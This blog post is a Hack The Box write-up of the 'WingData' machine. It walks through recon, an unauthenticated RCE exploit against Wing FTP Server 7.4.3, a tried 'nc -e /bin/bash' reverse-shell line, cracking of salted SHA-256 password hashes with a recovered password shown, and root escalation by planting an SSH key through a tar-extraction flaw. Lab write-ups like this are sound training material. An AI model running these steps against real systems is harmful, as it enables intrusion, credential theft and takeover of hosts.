Command Palette

Search for a command to run...

Blog

HTB-Box: WingData [Easy]

We’re kicking off Hack The Box Season 10 with the WingData easy machine. Let’s dive in and break it down step by step.

We’re kicking off Hack The Box Season 10 with the WingData easy machine. Let’s dive in and break it down step by step.

Initial Recon

First things first — an nmap scan on the target IP:

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ nmap -sS -T4 -n 10.129.11.73
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-16 14:49 IST
Nmap scan report for 10.129.11.73
Host is up (0.23s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 
Nmap done: 1 IP address (1 host up) scanned in 25.88 seconds
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ nmap -sVC -p 80,22 10.129.11.73
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-16 14:49 IST
Nmap scan report for 10.129.11.73 (10.129.11.73)
Host is up (0.32s latency).
 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.70 seconds

Results

  • 22/tcp → SSH (OpenSSH 9.2p1 Debian)
  • 80/tcp → Apache 2.4.66
  • HTTP redirects to http://wingdata.htb/

The machine is running a Debian server. That’s all we know for now.

VHost Enumeration

After adding http://wingdata.htb/ to /etc/hosts. I didn’t immediately open the webpage. Instead, I went for virtual host enumeration.

During enumeration, I discovered another subdomain:

  • ftp.wingdata.htb

That name already gave a strong hint. After adding it to /etc/hosts and visiting the page, I found Wing FTP Server v7.4.3 The version was clearly exposed.

Quick check with searchsploit :

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ searchsploit Wing FTP Server 7.4.3
------------------------------------------------------------------------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- --------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE) | multiple/remote/52347.py
------------------------------------------------------------------------------------------------
Shellcodes: No Results
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ python 52347.py -u 'http://ftp.wingdata.htb' -c whoami
 
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'whoami' and username: 'anonymous'
[+] UID extracted: be38696b76cd073c9d984a04ed162eeff528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: be38696b76cd073c9d984a04ed162eeff528764d624db129b32c21fbca0cb8d6
 
--- Command Output ---
wingftp
----------------------

In ftp we can run shell cmd with !. So... I try !nc -e /bin/bash <ip> <port> and WOW, It didn't work(What do you mean by skid). I try to find config files to find something interesting.

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ python 52347.py -u 'http://ftp.wingdata.htb' -c 'find . -name *.xml'
 
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'find . -name *.xml' and username: 'anonymous'
[+] UID extracted: 473c295e2967fc29473c974a95ccde39f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 473c295e2967fc29473c974a95ccde39f528764d624db129b32c21fbca0cb8d6
 
--- Command Output ---
./Data/_ADMINISTRATOR/admins.xml
./Data/_ADMINISTRATOR/settings.xml
./Data/1/users/maria.xml
./Data/1/users/steve.xml
./Data/1/users/wacky.xml
./Data/1/users/anonymous.xml
./Data/1/users/john.xml
./Data/1/settings.xml
./Data/1/portlistener.xml
./Data/settings.xml
./webadmin/crossdomain.xml
./webclient/crossdomain.xml
----------------------

Found 4 userfile each file contained usernames and password hashes. The hashes were unfamiliar at first.

Checking length:

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ echo 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca | wc -c
65

65 characters (including newline) → 64 hex characters.

Clearly SHA-256.

After researching, I confirmed the format was: sha256($pass.$salt)

GoogleSeach

Cracking the Hashes

Created hashes.txt in the format and use hashcat

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ cat > hashes.txt << EOF
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
EOF
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ hashcat -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
 
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
 
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: hashes.txt
Time.Started.....: Mon Feb 16 15:37:02 2026 (2 secs)
Time.Estimated...: Mon Feb 16 15:37:04 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  5042.6 kH/s (11.25ms) @ Accel:945 Loops:1 Thr:64 Vec:1
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 0128939595 -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 59c Util: 65% Core: 389MHz Mem:3504MHz Bus:4
 
Started: Mon Feb 16 15:36:53 2026
Stopped: Mon Feb 16 15:37:05 2026

User :

  • username : wacky
  • password : !#7Blushing^*Bride5

SSH Access

As usual, first check:

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/WingData]
└─$ ssh wacky@wingdata.htb -q
wacky@wingdata.htb's password:
 
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Okay , So We can run a Python script as root without a password. Before I did fix terminal or can say upgrade shell.

wacky@wingdata:~$ stty raw -echo;fg
wacky@wingdata:~$ reset
wacky@wingdata:~$ export TERM=xterm

Perfect... Let's get back to buiness.

I reviewed the script:

wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
 
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
 
def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"
 
def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
 
def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )
 
    args = parser.parse_args()
 
    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)
 
    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)
 
    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)
 
    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)
 
    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)
 
    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")
 
    os.makedirs(staging_dir, exist_ok=True)
 
    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)
 
if __name__ == "__main__":
    main()

tar.extractall seems unsafe so search about it how could i expolit it and found that

GoogleSeach2

let's check python version of box

wacky@wingdata:~$ python3 --version
Python 3.12.3

Nice, It's was verunirable. I make ssh key pair

wacky@wingdata:~$ mkdir .ssh
wacky@wingdata:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .lesshst  .profile  .python_history  .ssh  user.txt
wacky@wingdata:~$ ssh-keygen -t ed25519 -f .ssh/wing -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in .ssh/wing
Your public key has been saved in .ssh/wing.pub
The key fingerprint is:
SHA256:pWYmFTRe/ZbvjrWjG8NKHokRff8Vv0uZzcVu0GrqxFs wacky@wingdata
The key's randomart image is:
+--[ED25519 256]--+
|       .+ ..     |
|       . +. .    |
|        o... o o |
|       . o. . =oo|
|      . S.   ..o*|
|       =  o.o  =X|
|         . +o+E*B|
|          o.o=+=+|
|           ++o++o|
+----[SHA256]-----+

And after getting poc of form random github.

wacky@wingdata:~$ python3 py.py --preset ssh-key --payload ~/.ssh/wing.pub --tar-out backup_108.tar
[+] Exploit tar: backup_108.tar
[+] Target: /root/.ssh/authorized_keys
[+] Payload size: 96 bytes
wacky@wingdata:~$ mv backup_108.tar /opt/backup_clients/backups/
wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_108.tar -r restore_win123
[+] Backup: backup_108.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_win123
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_win123
wacky@wingdata:~$ ssh -i .ssh/wing root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 16 06:46:13 2026 from 127.0.0.1
root@wingdata:~#

Bye

byebye

Command Palette

Search for a command to run...